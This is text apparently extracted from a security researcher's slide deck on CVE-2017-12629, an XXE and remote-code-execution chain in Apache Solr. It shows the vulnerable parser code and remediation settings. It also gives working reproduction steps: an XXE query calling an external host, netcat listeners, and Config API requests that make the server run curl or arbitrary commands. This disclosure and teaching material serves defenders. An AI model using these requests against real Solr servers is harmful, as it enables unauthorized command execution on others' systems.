APACHE SOLR LINKS CVE 2017 12629 Habib Security

APACHE SOLR LINKS (CVE- 2017 -12629) - Habib Security Research Analyst Loginsoft

WHAT IS APACHE SOLR ? ? Apache Solr is an open source search platform built upon a Java library called Lucene. Solr is a popular search platform for Web sites because it can index and search multiple sites and return recommendations. Solr enables you to easily create search engines which searches websites, databases and files. 2

CVE-2017 -12629 Remote code execution occurs in Apache Solr before 7. 1 with Apache Lucene before 7. 1 by exploiting XXE in conjunction with use of a Config API add-listener command to reach the Run. Executable. Listener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. 3

CONT. . . These vulnerabilities were discovered by: � Michael Stepankin (JPMorgan Chase) � Olga Barinova (Gotham Digital Science) 4

TWO VULNERABILITIES ASSOCIATED WITH APACHE SOLR First Vulnerability: XML External Entity Expansion (deftype=xmlparser) lucene xml parser does not explicitly prohibit doctype declaration and expansion of external entities. Ø It is possible to include special entities in the xml document, that point to external files (via file: //) or external urls (via http: //) Ø Example: Ø http: //localhost: 8983/solr/gettingstarted/select? q={!xmlparser v='<!DOCTYPE a SYSTEM "http: //xxx. s. artsploit. com/xxx"'><a></a>'} 5

*VULNERABLE CODE LOCATION: * /solr/src/lucene/queryparser/src/java/org/apache/lucene/querypa rser/xml/Core. Parser. java static Document parse. XML(Input. Stream p. Xml. File) throws Parser. Exception { Document. Builder. Factory dbf = *Document. Builder. Factory. new. Instance*(); Document. Builder db = null; try { db = *dbf. new. Document. Builder*(); } catch (Exception se) { throw new Parser. Exception("XML Parser configuration error", se); } org. w 3 c. dom. Document doc = null; try { doc = *db. parse*(*p. Xml. File*); } 6

*STEPS TO REPRODUCE: * 1. Set up a listener on any port by using netcat command "nc -lv 4444" 2. Open http: //localhost: 8983/solr/gettingstarted/select? q={!x mlparser v='<!DOCTYPE a SYSTEM "http: //localhost: 4444/executed"><a></a>'} 3. You will see a request from the Solr server on your netcat listener. It proves that the DOCTYPE declaration is resolved. 7

*REMEDIATION SUGGESTIONS: * //protect from XXE attacks * dbf. set. Feature("http: //apache. org/xml/features/disallow-doctype-decl <http: //apache. org/xml/features/disallow-doctype-decl>", true); * * dbf. set. Feature("http: //xml. org/sax/features/external-general-entities <http: //xml. org/sax/features/external-general-entities>", false); * * dbf. set. Feature("http: //xml. org/sax/features/external-parameter-entities <http: //xml. org/sax/features/external-parameter-entities>", false); * db = dbf. new. Document. Builder(); } catch (Exception se) { throw new Parser. Exception("XML Parser configuration error", se); } org. w 3 c. dom. Document doc = null; try { doc = db. parse(p. Xml. File); } 8

SECOND ASSOCIATED VULNERABILITY Second Vulnerability: Remote Code Execution (add-listener: > Run. Executable. Listener) Solr "Run. Executable. Listener" class can be used to execute arbitrary commands on specific events, for example after each update query. The problem is that such listener can be enabled with any parameters just by using Config API with addlistener command. 9

CONT. . POST /solr/newcollection/config HTTP/1. 1 Host: localhost: 8983 Connection: close Content-Type: application/json Content-Length: 198 { "add-listener" : { "event": "post. Commit", "name": "newlistener", "class": "solr. Run. Executable. Listener", "exe": "ANYCOMMAND", "dir": "/usr/bin/", "args": ["ANYARGS"] } } 10

STEPS TO REPRODUCE Step 1. Create a new collection: http: //localhost: 8983/solr/admin/collections? action=CREA TE&name=newcollection&num. Shards=2 Step 2. Set up a listener on any port by using netcat command "nc –lv 4444" Step 3. Add a new Run. Executable. Listener listener for the collection where "exe" attribute contents the name of running command ("/usr/bin/curl") and "args" attribute contents "http: //localhost: 4444/executed" value to make a request to the attacker's netcat listener: 11

STEP 3 CONT. . . POST /solr/newcollection/config HTTP/1. 1 Host: localhost: 8983 Connection: close Content-Type: application/json Content-Length: 198 { "add-listener" : { "event": "post. Commit", "name": "newlistener", "class": "solr. Run. Executable. Listener", "exe": "curl", "dir": "/usr/bin/", "args": ["http: //localhost: 4444/executed"] } } 12

CONT. . Step 4. Update "newcollection" to trigger execution of Run. Executable. Listener: POST /solr/newcollection/update HTTP/1. 1 Host: localhost: 8983 Connection: close Content-Type: application/json Content-Length: 19 [{"id": "test"}] Step 5. You will see a request from the Solr server on your netcat listener. It proves that the curl command is executed on the server. 13

SUMMARY By chaining these two vulnerabilities, an external attacker can achieve remote code execution even without direct access to the Solr server. The only requirement is that the attacker should be able to specify a part of query that comes to "q" search parameter (which is a case for many web applications who use solr). 14

THANK YOU 15

QUESTIONS ? ? 16